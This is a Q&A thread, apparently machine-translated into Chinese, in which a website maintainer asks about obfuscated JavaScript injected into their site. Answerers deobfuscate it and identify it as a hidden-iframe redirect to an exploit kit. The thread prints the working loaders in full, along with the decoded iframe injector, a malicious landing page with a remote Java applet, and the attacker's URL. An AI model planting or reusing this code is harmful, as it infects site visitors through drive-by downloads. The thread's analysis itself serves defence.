2012-02-28 48 views
10

這段代碼一直在彈出一個我一直在維護的網站,對這裏發生的事情有任何線索?這段JavaScript破解的目的是什麼?

if (window.document) aa = [] + 0; 
aaa = 0 + []; 
if (aa.indexOf(aaa) === 0) { 
    ss = ''; 
    try { 
     new location(12); 
    } catch (qqq) { 
     s = String; 
     f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har'; 
     f += 'Code'; 
    } 
    ee = 'e'; 
    e = window.eval; 
    t = 'y'; 
} 
h = Math.round(-4 * Math.tan(Math.atan(0.5))); 
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a"); 
for (i = 0; i - n.length < 0; i++) { 
    j = i; 
    ss = ss + s[f](-h * (1 + 1 * n[j])); 
} 
q = ss; 
if (f) e(q); 

編輯提醒q結果在此代碼

if (document.getElementsByTagName('body')[0]) { 
      iframer(); 
     } else { 
      document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
     } 
     function iframer() { 
      var f = document.createElement('iframe'); 
      f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
      f.style.visibility = 'hidden'; 
      f.style.position = 'absolute'; 
      f.style.left = '0'; 
      f.style.top = '0'; 
      f.setAttribute('width', '10'); 
      f.setAttribute('height', '10'); 
      document.getElementsByTagName('body')[0].appendChild(f); 
     } 

http://update-kb18628311.com/check.php?date=08eaceaccc546a53

<html> 

    <body> 
     <applet code='&#80;hoto.class' archive='http://update-kb18628311.com/content&#47;jav2.jar'> 
      <param name="p" value="v&#115;sMlgghMA7s6af.dB=3B%ddPJFUgYPMvM-Vc/oAd/G6cr" 
      /> 
     </applet> 
     <div style="color:red;"> 
      <p style="display:none;">ti#y/SNIP/#ti#ye#uw#to#tu#ur#w#qr#y#y#y#-q#qu#ie#ue#up#yy#y#-w#-q#qu</p> 
     </div> 
     <script> 
      ss = 's'; 
      g = 'g'; 
      r = 'r'; 
      d = 'd'; 
      c = 'c'; 
      t = 't'; 
      try { 
       new window(123).typ; 
      } catch (qq) { 
       aa = /s/g.exec("a" + "sd").index + []; 
       e = window.eval; 
       cc = document; 
      } 
      aaa = 1 + []; 
      i = 0; 
      try { 
       new btoa({}); 
      } catch (qqq) { 
       if (aaa == aa) for (;;) { 
        a = cc.body[c + 'h' + 'ildNodes'][i]; 
        if (a[t + "agName"].toLowerCase() == "div") break; 
        i++; 
       } 
       try { 
        new btoa(12); 
       } catch (qqq) { 
        r += "eplace"; 
       } 
       a = a[c + 'hildNodes'][0].innerHTML; 
       a = a[r](/q/g, "1"); 
       a = a[r](/w/g, "2"); 
       a = a[r](/e/g, "3"); 
       a = a[r](/r/g, "4"); 
       a = a[r](/t/g, "5"); 
       a = a[r](/y/g, "6"); 
       a = a[r](/u/g, "7"); 
       a = a[r](/i/g, "8"); 
       a = a[r](/o/g, "9"); 
       a = a[r](/p/g, "0"); 
      } 
      a = a.split("#"); 
      md = 'a'; 
      c = []; 
      i = 0; 
      p = parseInt; 
      try { 
       new window(123).typ; 
      } catch (qqq) { 
       qq = String; 
      } 
      try { 
       new btoa(12); 
      } catch (qqq) { 
       fr = "ode"; 
      } 
      try { 
       new window(123).typ; 
      } catch (qqq) { 
       qq2 = e("qq.fromCharC" + fr); 
      } 
      if (aaa == aa) { 
       while (13153 > i) { 
        vv = a[i]; 
        r2 = cc = qq2(40 + 2 + 1 * vv); 
        r = c; 
        if (fr) c = r + r2; 
        i = i + 1; 
       } 
       w = e; 
       w(c); 
      } 
     </script> 
    </body> 

</html> 
+2

看起來像混淆攻擊代碼,雖然我不明白它是什麼。 – hayavuk 2012-02-28 08:56:25

+0

你也許應該嘗試通過反向查看它並找出每個變量是如何計算的。 – hayavuk 2012-02-28 08:57:25

+0

Nah,你只需運行它並將'q'轉儲到控制檯= p – 2012-02-28 08:59:43

回答

11

它注入下面的iframe:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

這不是很複雜,讓我們通過它(你可以在控制檯中親自驗證容易):

if (window.document) aa = [] + 0; 
aaa = 0 + []; 

如果我們檢查控制檯:aa === "0"aaa === "0"所以未來如果計算結果爲true:

if (aa.indexOf(aaa) === 0) { 
    ss = ''; 
    try { 
     new location(12); 
    } catch (qqq) { 
     s = String; 
     f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har'; 
     f += 'Code'; 
    } 
    ee = 'e'; 
    e = window.eval; 
    t = 'y'; 
} 

所有這一切在這裏做的是,我們已經shortcutted供以後使用eval功能,並內置一個字符串f === "fromCharCode"我們將用它來打電話String.fromCharCode到ASCII代碼轉換成實際的瞬間JavaScript命令。

h = Math.round(-4 * Math.tan(Math.atan(0.5))); 
n = "..." // ascii based code 
for (i = 0; i - n.length < 0; i++) { 
    j = i; 
    ss = ss + s[f](-h * (1 + 1 * n[j])); 
} 

在循環中,我們只需構建上述字符串即可。 trig的東西只是讓我迷惑,儘管它不是很混亂。

q = ss; 
if (f) e(q); 

最後的if(f)的值爲true,因爲f是一個非空字符串,所以我們稱之爲e這是eval快捷我們早些時候提出,與我們從代碼構建的字符串。由此產生的代碼粘貼在頂部。

8

這是代碼評估什麼:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

它看起來像一個病毒

所以你維護該網站是在某些時候可能是脆弱的。有人將此代碼注入網站;無論是通過XSS和/或SQL注入

+1

它也可能是由不滿意的員工手動包含的,通過不安全的FTP或SFTP配置上傳,通過_browser_不安全注入代碼它可以顯示很多不同的方式。 – sarnold 2012-02-28 09:08:02

+0

@sarnold,同意,我有點狹隘那裏:) – epoch 2012-02-28 09:15:15

1

這是一個轉發鏈接到黑洞漏洞利用工具包。它很可能試圖在你的機器上安裝Zeus/Zbot。通過禁用JavaScript或運行瀏覽器插件鏈接無腳本來保護自己。